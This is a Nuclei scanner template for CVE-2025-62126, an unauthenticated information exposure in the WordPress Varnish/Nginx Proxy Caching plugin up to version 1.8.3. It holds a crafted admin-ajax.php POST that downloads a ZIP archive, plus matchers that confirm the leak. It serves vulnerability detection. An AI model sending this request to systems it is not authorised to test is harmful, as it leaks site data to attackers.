id: CVE-2025-62126

info:
  name: WordPress Varnish/Nginx Proxy Caching <= 1.8.3 - Information Exposure
  author: pussycat0x
  severity: medium
  description: |
    Razvan Stanga Varnish/Nginx Proxy Caching <= 1.8.3 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve sensitive information, exploit requires crafted requests.
  remediation: |
    Update to the latest version beyond 1.8.3.
  impact: |
    Attackers can retrieve embedded sensitive information, potentially leading to data leakage.
  reference:
    - https://github.com/razvanstanga/varnish-caching-wordpress-plugin/pull/15
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/vcaching/varnishnginx-proxy-caching-183-unauthenticated-information-exposure
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62126
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-62126
    epss-score: 0.02466
    epss-percentile: 0.85466
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    vendor: razvanstanga
    product: varnish-caching-wordpress-plugin
    framework: wordpress
  tags: cve,cve2025,wordpress,wp,wp-plugin,vcaching,exposure

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=varnish_caching_download&option_page=varnish_caching_download&varnish_caching_varnish_version=4

    matchers-condition: and
    matchers:
      - type: binary
        part: body
        binary:
          - "504b0304"

      - type: word
        part: content_type
        words:
          - "application/zip"
          - "application/octet-stream"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: filename
        part: header
        group: 1
        regex:
          - 'filename="?([^";\r\n]+)'
# digest: 4a0a0047304502201ff310015605122be3da9152fa9881412343ab846fd4415775c5e26e2dd24135022100f6850bc22546556855a673927999fac7392b739b7882aac871072cbb2ba3f751:922c64590222798bb761d5b6d8e72950